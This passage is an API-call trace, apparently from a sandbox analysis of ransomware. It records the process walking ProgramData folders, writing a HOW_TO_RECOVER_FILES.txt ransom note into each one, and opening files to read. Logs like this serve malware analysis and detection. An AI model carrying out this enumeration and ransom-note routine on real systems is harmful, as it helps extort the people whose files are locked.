dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 0 [0106.563] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0106.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0106.564] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\regid.1991-06.com.microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0106.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0106.564] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0106.565] GetFileType (hFile=0x7dc) returned 0x1 [0106.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0106.566] GetFileType (hFile=0x7dc) returned 0x1 [0106.566] WriteFile (in: hFile=0x7dc, lpBuffer=0x33e5928*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x33e5928*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0106.567] CloseHandle (hObject=0x7dc) returned 1 [0106.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0106.568] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\SoftwareDistribution", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\SoftwareDistribution", lpFilePart=0x0) returned 0x23 [0106.568] FindFirstFileW (in: lpFileName="C:\\ProgramData\\SoftwareDistribution\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.568] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.568] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0106.568] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0106.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0106.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0106.571] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\SoftwareDistribution", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\SoftwareDistribution", lpFilePart=0x0) returned 0x23 [0106.571] FindFirstFileW (in: lpFileName="C:\\ProgramData\\SoftwareDistribution\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.571] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.572] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0106.572] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0106.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0106.572] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\SoftwareDistribution\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\SoftwareDistribution\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0106.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0106.572] CreateFileW (lpFileName="C:\\ProgramData\\SoftwareDistribution\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\softwaredistribution\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0106.573] GetFileType (hFile=0x7dc) returned 0x1 [0106.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0106.573] GetFileType (hFile=0x7dc) returned 0x1 [0106.573] WriteFile (in: hFile=0x7dc, lpBuffer=0x33f6698*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x33f6698*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0106.574] CloseHandle (hObject=0x7dc) returned 1 [0106.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0106.574] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Start Menu", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Start Menu", lpFilePart=0x0) returned 0x19 [0106.575] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0107.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e9e0) returned 1 [0107.522] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Start Menu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Start Menu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0107.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0107.522] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\start menu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0107.659] GetFileType (hFile=0x7dc) returned 0x1 [0107.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0107.659] GetFileType (hFile=0x7dc) returned 0x1 [0108.093] WriteFile (in: hFile=0x7dc, lpBuffer=0x34f7c30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x34f7c30*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0108.094] CloseHandle (hObject=0x7dc) returned 1 [0108.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0108.589] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Templates", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Templates", lpFilePart=0x0) returned 0x18 [0108.589] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0108.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e9e0) returned 1 [0108.591] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Templates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Templates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0108.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0108.591] CreateFileW (lpFileName="C:\\ProgramData\\Templates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\templates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0108.592] GetFileType (hFile=0x20c) returned 0x1 [0108.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0108.592] GetFileType (hFile=0x20c) returned 0x1 [0108.593] WriteFile (in: hFile=0x20c, lpBuffer=0x35c9c28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x35c9c28*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0108.594] CloseHandle (hObject=0x20c) returned 1 [0108.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0108.594] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate", lpFilePart=0x0) returned 0x19 [0108.594] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOPrivate\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.594] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.594] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x20913fe9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x20913fe9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0108.594] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x20913fe9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x20913fe9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 0 [0108.595] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0108.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0108.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0108.595] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate", lpFilePart=0x0) returned 0x19 [0108.595] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOPrivate\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.595] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.595] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x20913fe9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x20913fe9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0108.595] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0108.595] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0108.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0108.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0108.596] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore", lpFilePart=0x0) returned 0x25 [0108.596] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x20913fe9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x20913fe9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.596] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x20913fe9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x20913fe9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.597] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xdc9086d4, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateCspStore.xml", cAlternateFileName="UPDATE~2.XML")) returned 1 [0108.597] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x206d7cb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x208edd4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0108.597] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0108.597] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0108.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0108.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0108.597] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore", lpFilePart=0x0) returned 0x25 [0108.597] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x20913fe9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x20913fe9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.598] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x20913fe9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x20913fe9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.598] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xdc9086d4, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateCspStore.xml", cAlternateFileName="UPDATE~2.XML")) returned 1 [0108.598] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x206d7cb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x208edd4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0108.598] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x206d7cb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x208edd4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 0 [0108.598] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0108.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0108.598] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", lpFilePart=0x0) returned 0x38 [0108.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0108.599] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), fInfoLevelId=0x0, lpFileInformation=0x35e6980 | out: lpFileInformation=0x35e6980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xdc9086d4, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a)) returned 1 [0108.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0108.599] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", lpFilePart=0x0) returned 0x38 [0108.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0108.599] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0108.599] GetFileType (hFile=0x20c) returned 0x1 [0108.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0108.600] GetFileType (hFile=0x20c) returned 0x1 [0108.600] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x1a [0108.600] ReadFile (in: hFile=0x20c, 